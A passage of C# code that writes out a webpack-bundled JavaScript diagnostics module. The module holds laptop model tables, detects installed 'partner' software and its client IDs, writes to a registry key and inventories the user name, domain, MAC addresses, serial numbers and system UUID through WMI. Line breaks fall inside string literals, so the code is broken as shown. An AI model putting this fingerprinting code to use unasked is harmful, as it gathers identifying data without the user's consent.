'MacBook Pro (13\" Mid 2014)' ],");
file.WriteLine(" \"MacBookPro11,2\": [ 'MacBook Pro (15\" Late 2013)',
'MacBook Pro (15\" Mid 2014)' ],");
file.WriteLine(" \"MacBookPro11,3\": [ 'MacBook Pro (15\" Late 2013)',
'MacBook Pro (15\" Mid 2014)' ],");
file.WriteLine(" \"MacBookPro12,1\": [ 'MacBook Pro (13\" Early 2015)' ],");
file.WriteLine(" \"MacBookPro11,4\": [ 'MacBook Pro (15 \" Mid 2015)' ],");
file.WriteLine(" \"MacBookPro11,5\": [ 'MacBook Pro (15\" Mid 2015)' ]");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" acer: [ \"Aspier XXXX\", \"Aspire XXXX\", \"Aspire
xxxx\", \"AS XXXX\", \"ChiefRiver Platform\", \"Columbia\", \"Sabine
Platform\", \"None\", \"T\", \"Tahoe\", \"YYpire 5600\", \"YYpire
5920G\", \"YYTÿÿÿÿÿÿÿÿÿÿÿÿ\", \"YYÿÿÿÿÿÿÿÿÿÿÿÿÿ\" ],");
file.WriteLine(" advance: [ \"Default\", \"Modelo A\" ],");
file.WriteLine(" aquarius: [ \"Cmp NS735\", \"Pro, Std, Elt
Series\", \"Intel powered classmate PC\", \"NE405\" ],");
file.WriteLine(" bgh: [ \"BGH e-Nova\", \"e-Nova\", \"POSITIVO BGH\" ],");
file.WriteLine(" bytespeed: [ \"V10IS\" ],");
file.WriteLine(" cce: [ \"Capella & IbexPeak-M Chipset\" ],");
file.WriteLine(" czc: [ \"czc\" ],");
file.WriteLine(" dell: [ \"Vostro 3558tion\" ],");
file.WriteLine(" digitron: [ \"B14HM21\" ],");
file.WriteLine(" dixonsxp: [ \"00000000000000000\", \"Calistoga & ICH7M
Chipset\", \"Crestline+ICH8M\" ],");
file.WriteLine(" dns: [ \"ChiefRiver Platform\" ],");
file.WriteLine(" \"epson-direct\": [ \"Endeavor NJ2100\" ],");
file.WriteLine(" fujitsu:
[ \"00000000\", \"0000000000\", \"00000000000000000\" ],");
file.WriteLine(" giada: [ \"CedarTrail Platform\" ],");
file.WriteLine(" goclever: [ \"INSIGNIA 800 WIN\" ],");
file.WriteLine(" google: [ \"Falco\", \"Peppy\" ],");
file.WriteLine(" hasee: [ \"Calistoga & ICH7M Chipset\" ],");
file.WriteLine(" \"high-tech\": [ \"Shift\" ],");
file.WriteLine(" hp: [ \"0\", \"000\", \"00000000000000000000000000000000\",
\"1000\", \"Pavilion dvxxxx\", \"ProBook -----\" ],");
file.WriteLine(" hyrican: [ \"VN800\" ],");
file.WriteLine(" iball: [ \"V8T\" ],");
file.WriteLine(" intel: [ \"Calpella Platform\", \"CedarTrail\", \"Cedar
Trail\", \"CedarTrail Platform\", \"ChiefRiver Platform\", \"HuronRiver Platform\",
\"OakTrail Platform\", \"Pine Trail - M\", \"Pine Trail - M CRB\", \"SandyBridge
Platform\", \"SharkBay Platform\", \"Skylake Platform\" ],");
file.WriteLine(" isonic: [ \"ISO-91010\", \"ISO-A1005\" ],");
file.WriteLine(" \"jp-sa-couto\": [ \"Intel powered classmate PC\" ],");
file.WriteLine(" jumper: [ \"JUMPER\" ],");
file.WriteLine(" \"k-systems\": [ \"1234\", \"Crestline+ICH8M\" ],");
file.WriteLine(" kraftway: [ \"GEG\" ],");
file.WriteLine(" lenovo:
[ \"00000000000000000000000000000000\", \"0.1\", \"C-Notebook
XXXX\", \"Convertible\", \"INVALID\", \"Product\", \"Rev 1\", \"Rev 1.0\",
'ThinkPad Edge
13\"\"IAL#', \"ÿÿÿÿÿÿÿU410ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\", \"ÿÿÿÿÿÿÿZ580ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿ\" ],");
file.WriteLine(" \"llc-avangard\": [ \"Expertline notebook\" ],");
file.WriteLine(" maguay: [ \"MYWAY\" ],");
file.WriteLine(" medion: [ \"To be filled by O.E.M.\" ],");
file.WriteLine(" microboard: [ \"Cantiga & ICH9M Chipset\", \"T100\" ],");
file.WriteLine(" mipi: [ \"Mini PC\" ],");
file.WriteLine(" msi: [ \"Calpella platform\", \"To be filled by
O.E.M.\" ],");
file.WriteLine(" mugen: [ \"mugen\" ],");
file.WriteLine(" nec: [ \"00000000000000000000000\" ],");
file.WriteLine(" neo: [ \"Basic\", \"Elan L5750 Series\", \"NeoNBK\" ],");
file.WriteLine(" noname: [ \"223 Series\", \"255/259 Series\", \"A01
platform\", \"BayTrail\", \"BONEFISH\", \"C93i\", \"CherryTrail\", \"ChiefRiver
Platform\", \"Default
string\", \"E450\", \"EM200\", \"Generic\", \"H34\", \"KENNEX\", \"KN1\", \"LM1W\",
\"M31EI
Series\", \"Nobilis\", \"None\", \"Notebook\", \"N/A\", \"ODM\", \"oem\", \"Paralle
ls Virtual Platform\", \"Patriot\", \"PCSMART\", \"Positivo BGH\", \"Pro Tab
7\", \"PS-3315\", \"PS-3316\", \"S16\", \"S62H\", \"S96S\", \"Spring Peak\", \"To
Be Filled By O.E.M.\", \"To Be Filled by O.E.M.\", \"To be filled by
O.E.M.\", \"Turbo X\", \"V5\", \"W115\", \"X20IA
Series\", \"Z96FM\", \"Z96J\", \"Z96JS\", \"Z97V\" ],");
file.WriteLine(" \"notion-ink\": [ \"CN8I8955G\" ],");
file.WriteLine(" \"packard-bell\": [ \"00000000000000000000000\" ],");
file.WriteLine(" \"pc-smart\": [ \"LAPTOP\" ],");
file.WriteLine(" philco: [ \"TO be filled by O.E.M\" ],");
file.WriteLine(" positivo: [ \"POS\" ],");
file.WriteLine(" quanta: [ \"00000000000000000\" ],");
file.WriteLine(" render: [ \"Pinetrail\", \"Pine trail\" ],");
file.WriteLine(" rm: [ \"RM\" ],");
file.WriteLine(" samsung: [ \"3\", \"Aquila Slim Platform\", \"Galaxy TabPro
S\", \"Mobile System\" ],");
file.WriteLine(" sony: [ \"VAIO Reserved\" ],");
file.WriteLine(" tcl: [ \"T51\" ],");
file.WriteLine(" topstar: [ \"Cantiga & ICH9M Chipset\" ],");
file.WriteLine(" toshiba:
[ \"000000\", \"00000000000000000000\", \"SandyBridge Platform\", \"To Be Filled By
O.E.M.\", \"To be filled by O.E.M.\" ],");
file.WriteLine(" vestel: [ \"Calistoga & ICH7M Chipset\" ],");
file.WriteLine(" yekani: [ \"Intel (R) Education Tablet\" ],");
file.WriteLine(" zet: [ \"To be filled by O.E.M.\" ],");
file.WriteLine(" zoostorm: [ \"Cantiga & ICH9M Chipset\" ]");
file.WriteLine(" };");
file.WriteLine("}, , , , , , , , , , , , , function(module, exports,
__webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getPartnerInfo = exports.checkSoftInstalled =
undefined;");
file.WriteLine(" var _getDiagnostics = __webpack_require__(109),
_getDiagnostics2 = _interopRequireDefault(_getDiagnostics), _partnerSoft =
__webpack_require__(247), _partnerSoft2 = _interopRequireDefault(_partnerSoft),
installedSoftCache = void 0, getInstalledSoft = function() {");
file.WriteLine(" if (!installedSoftCache) installedSoftCache = (0,
_getDiagnostics2[\"default\"])(\"soft\").Software[\"Installed Software\"];");
file.WriteLine(" return installedSoftCache;");
file.WriteLine(" };");
file.WriteLine(" exports.checkSoftInstalled = function(nameReg, installedSoft)
{");
file.WriteLine(" if (!installedSoft) installedSoft = getInstalledSoft();");
file.WriteLine(" return installedSoft.some(function(soft) {");
file.WriteLine(" return nameReg.test(soft.Program);");
file.WriteLine(" });");
file.WriteLine(" }, exports.getPartnerInfo = function(soft) {");
file.WriteLine(" var pSoft = _partnerSoft2[\"default\"].find(function(_ref)
{");
file.WriteLine(" return _ref.nameReg.test(soft.Program);");
file.WriteLine(" });");
file.WriteLine(" if (!pSoft) return {");
file.WriteLine(" isPartner: !1");
file.WriteLine(" };");
file.WriteLine(" if (!pSoft.getClids) return {");
file.WriteLine(" title: pSoft.title,");
file.WriteLine(" isPartner: !0");
file.WriteLine(" };");
file.WriteLine(" var clids = pSoft.getClids();");
file.WriteLine(" return {");
file.WriteLine(" title: pSoft.title,");
file.WriteLine(" clids: clids,");
file.WriteLine(" isPartner: clids.some(function(clid) {");
file.WriteLine(" return pSoft.clidsReg.test(clid);");
file.WriteLine(" })");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _os = __webpack_require__(14), _registry =
__webpack_require__(29), _getNotebookVendor = __webpack_require__(178),
_getNotebookVendor2 = _interopRequireDefault(_getNotebookVendor), _getNotebookModel
= __webpack_require__(177), _getNotebookModel2 =
_interopRequireDefault(_getNotebookModel);");
file.WriteLine(" (0, _registry.RegWrite)
(\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\services\\\\eventlog\\\\Microsoft-
Windows-Diagnostics-Performance/Operational\\\\\", \"\");");
file.WriteLine(" var parseWinDate = function(date) {");
file.WriteLine(" return new Date(parseInt(date.slice(0, 4), 10),
parseInt(date.slice(4, 6), 10) - 1, parseInt(date.slice(6, 8), 10),
parseInt(date.slice(8, 10), 10), parseInt(date.slice(10, 12), 10),
parseInt(date.slice(12, 14), 10));");
file.WriteLine(" }, convertToWinDate = function(date) {");
file.WriteLine(" return date.getFullYear() + \"\" + (\"0\" +
(date.getMonth() + 1)).slice(-2) + (\"0\" + date.getDate()).slice(-2) + (\"0\" +
date.getHours()).slice(-2) + (\"0\" + date.getMinutes()).slice(-2) + (\"0\" +
date.getSeconds()).slice(-2) + \".\" + (\"00000\" + date.getMilliseconds()).slice(-
6) + \"+\" + date.getTimezoneOffset();");
file.WriteLine(" };");
file.WriteLine(" exports[\"default\"] = {");
file.WriteLine(" Computer: {");
file.WriteLine(" Summary: {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" groups: [ {");
file.WriteLine(" name: \"Computer\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Manufacturer\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"Vendor\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref) {");
file.WriteLine(" var Vendor = _ref.Vendor;");
file.WriteLine(" return (0,
_getNotebookVendor2[\"default\"])(Vendor);");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Model\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields:
[ \"Vendor\", \"Name\", \"Version\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref2) {");
file.WriteLine(" var Vendor = _ref2.Vendor, Name =
_ref2.Name, Version = _ref2.Version;");
file.WriteLine(" return (0,
_getNotebookModel2[\"default\"])({");
file.WriteLine(" Vendor: (0,
_getNotebookVendor2[\"default\"])(Vendor),");
file.WriteLine(" Name: Name,");
file.WriteLine(" Version: Version");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Computer Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"SystemType\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Operating System\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Service Pack\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"CSDVersion\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Internet Explorer\",");
file.WriteLine(" reg: {");
file.WriteLine(" source:
[ \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Internet
Explorer\\\\svcVersion\", \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Internet
Explorer\\\\Version\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Computer Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"User Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"UserName\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Logon Domain\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"Domain\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Date / Time\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"LocalDateTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref3) {");
file.WriteLine(" var LocalDateTime =
_ref3.LocalDateTime;");
file.WriteLine(" return
parseWinDate(LocalDateTime).toString();");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Temperature\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"CPU Temperature\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\OpenHardwareMonitor:Sensor\",");
file.WriteLine(" fields:
[ \"Value\", \"Identifier\" ],");
file.WriteLine(" filter: function(_ref4) {");
file.WriteLine(" return /\\/(intel|amd|
generic)cpu\\/.*?\\/temperature\\/.*?/.test(_ref4.Identifier);");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref5) {");
file.WriteLine(" var Value = _ref5.Value, formatedValue
= Math.ceil(Value);");
file.WriteLine(" if (formatedValue >= 0) return
formatedValue + \" °C\"; else return null;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"GPU Temperature\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\OpenHardwareMonitor:Sensor\",");
file.WriteLine(" fields:
[ \"Value\", \"Name\", \"SensorType\" ],");
file.WriteLine(" filter: function(_ref6) {");
file.WriteLine(" var Name = _ref6.Name, SensorType =
_ref6.SensorType;");
file.WriteLine(" return 0 === Name.indexOf(\"GPU\")
&& \"Temperature\" === SensorType;");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref7) {");
file.WriteLine(" var Value = _ref7.Value, formatedValue
= Math.ceil(Value);");
file.WriteLine(" if (formatedValue >= 0) return
formatedValue + \" °C\"; else return null;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Motherboard Temperature\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\OpenHardwareMonitor:Sensor\",");
file.WriteLine(" fields:
[ \"Value\", \"Name\", \"SensorType\" ],");
file.WriteLine(" filter: function(_ref8) {");
file.WriteLine(" var Name = _ref8.Name, SensorType =
_ref8.SensorType;");
file.WriteLine(" return 0 ===
Name.indexOf(\"System\") && \"Temperature\" === SensorType;");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref9) {");
file.WriteLine(" var Value = _ref9.Value, formatedValue
= Math.ceil(Value);");
file.WriteLine(" if (formatedValue >= 0) return
formatedValue + \" °C\"; else return null;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"HDD Temperature\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\OpenHardwareMonitor:Sensor\",");
file.WriteLine(" fields:
[ \"Value\", \"Name\", \"SensorType\" ],");
file.WriteLine(" filter: function(_ref10) {");
file.WriteLine(" var Name = _ref10.Name, SensorType
= _ref10.SensorType;");
file.WriteLine(" return 0 ===
Name.indexOf(\"Temperature\") && \"Temperature\" === SensorType;");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref11) {");
file.WriteLine(" var Value = _ref11.Value, formatedValue
= Math.ceil(Value);");
file.WriteLine(" if (formatedValue >= 0) return
formatedValue + \" °C\"; else return null;");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Motherboard\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"CPU Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Processor\",");
file.WriteLine(" fields:
[ \"Name\", \"MaxClockSpeed\", \"NumberOfCores\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref12) {");
file.WriteLine(" return _ref12.Name + \", \" +
_ref12.MaxClockSpeed + \" MHz, \" + _ref12.NumberOfCores + \"-core\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Motherboard Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_BaseBoard\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"System Memory\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"TotalPhysicalMemory\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref13) {");
file.WriteLine(" var TotalPhysicalMemory =
_ref13.TotalPhysicalMemory;");
file.WriteLine(" return
Math.ceil(parseFloat(TotalPhysicalMemory) / 1024 / 1024) + \" MB\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"BIOS Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_BIOS\",");
file.WriteLine(" fields:
[ \"SMBIOSBIOSVersion\", \"ReleaseDate\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref14) {");
file.WriteLine(" var SMBIOSBIOSVersion =
(_ref14.Manufacturer, _ref14.SMBIOSBIOSVersion), ReleaseDate =
_ref14.ReleaseDate;");
file.WriteLine(" return SMBIOSBIOSVersion + \" (\" +
[ ReleaseDate.slice(0, 4), ReleaseDate.slice(4, 6), ReleaseDate.slice(6,
8) ].join(\".\") + \")\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Display\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Video Adapter\",");
file.WriteLine(" targets: [ \"check\" ],");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_VideoController\",");
file.WriteLine(" fields:
[ \"Name\", \"AdapterRAM\", \"ConfigManagerErrorCode\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref15) {");
file.WriteLine(" var Name = _ref15.Name, AdapterRAM =
_ref15.AdapterRAM, ConfigManagerErrorCode = _ref15.ConfigManagerErrorCode, res =
Name;");
file.WriteLine(" if (AdapterRAM > 0) res += \" (\" +
Math.ceil(parseFloat(AdapterRAM) / 1024 / 1024) + \" MB)\";");
file.WriteLine(" if (ConfigManagerErrorCode) res += \"
(Status: ERROR)\";");
file.WriteLine(" return res;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Monitor\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_DesktopMonitor\",");
file.WriteLine(" fields:
[ \"Name\", \"MonitorType\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref16) {");
file.WriteLine(" var Name = _ref16.Name;");
file.WriteLine(" return _ref16.MonitorType + \" \" +
Name;");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Multimedia\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Audio Adapter\",");
file.WriteLine(" targets: [ \"check\" ],");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SoundDevice\",");
file.WriteLine(" fields:
[ \"Name\", \"ConfigManagerErrorCode\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref17) {");
file.WriteLine(" var Name = _ref17.Name,
ConfigManagerErrorCode = _ref17.ConfigManagerErrorCode, res = Name;");
file.WriteLine(" if (ConfigManagerErrorCode) res += \"
(Status: ERROR)\";");
file.WriteLine(" return res;");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Storage\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"IDE Controller\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_IDEController\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Disk Drive\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_DiskDrive\",");
file.WriteLine(" fields: [ \"Caption\", \"Status\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref18) {");
file.WriteLine(" return _ref18.Caption + \" (SMART \" +
_ref18.Status + \")\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Optical Drive\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_CDROMDrive\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Partitions\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Partition\",");
file.WriteLine(" targets: [ \"targeting\" ],");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_LogicalDisk\",");
file.WriteLine(" fields:
[ \"Name\", \"FileSystem\", \"Size\", \"FreeSpace\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref19) {");
file.WriteLine(" var Name = _ref19.Name, FileSystem =
_ref19.FileSystem, Size = _ref19.Size, FreeSpace = _ref19.FreeSpace;");
file.WriteLine(" return Name + \" (\" + FileSystem + \")
\" + Math.ceil(parseFloat(Size) / 1024 / 1024 / 1024 * 100) / 100 + \" GB (\" +
Math.ceil(parseFloat(FreeSpace) / 1024 / 1024 / 1024 * 100) / 100 + \" GB
free)\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Input\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Keyboard\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Keyboard\",");
file.WriteLine(" fields: [ \"Description\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Mouse\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_PointingDevice\",");
file.WriteLine(" fields: [ \"Description\" ]");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Network\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Network Adapter\",");
file.WriteLine(" targets: [ \"check\" ],");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_NetworkAdapter\",");
file.WriteLine(" fields:
[ \"Description\", \"MACAddress\", \"PhysicalAdapter\", \"ConfigManagerErrorCode\"
],");
file.WriteLine(" filter: function(_ref20) {");
file.WriteLine(" return !1 !==
_ref20.PhysicalAdapter;");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref21) {");
file.WriteLine(" var Description = _ref21.Description,
MACAddress = _ref21.MACAddress, ConfigManagerErrorCode =
_ref21.ConfigManagerErrorCode, res = Description;");
file.WriteLine(" if (MACAddress) res += \" (MAC \" +
MACAddress + \")\";");
file.WriteLine(" if (ConfigManagerErrorCode && 22 !==
ConfigManagerErrorCode) res += \" (Status: ERROR)\";");
file.WriteLine(" return res;");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Peripherals\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Printer\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Printer\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"USB Controller\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_USBController\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Battery\",");
file.WriteLine(" multi: !0,");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"DMI BIOS Vendor\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_BIOS\",");
file.WriteLine(" fields: [ \"Manufacturer\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI BIOS Version\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_BIOS\",");
file.WriteLine(" fields: [ \"SMBIOSBIOSVersion\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI System Manufacturer\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"Vendor\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI System Product\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI System Version\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"Version\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI System Serial Number\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"IdentifyingNumber\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI System UUID\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"Win32_ComputerSystemProduct\",");
file.WriteLine(" fields: [ \"UUID\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Motherboard Manufacturer\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Baseboard\",");
file.WriteLine(" fields: [ \"Manufacturer\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Motherboard Product\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Baseboard\",");
file.WriteLine(" fields: [ \"Product\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Motherboard Version\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Baseboard\",");
file.WriteLine(" fields: [ \"Version\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Motherboard Serial Number\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Baseboard\",");
file.WriteLine(" fields: [ \"SerialNumber\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Chassis Manufacturer\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SystemEnclosure\",");
file.WriteLine(" fields: [ \"Manufacturer\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Chassis Version\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SystemEnclosure\",");
file.WriteLine(" fields: [ \"Version\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Chassis Serial Number\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SystemEnclosure\",");
file.WriteLine(" fields: [ \"SerialNumber\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Chassis Asset Tag\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SystemEnclosure\",");
file.WriteLine(" fields: [ \"SMBIOSAssetTag\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"DMI Chassis Type\",");
file.WriteLine(" wmi: {");
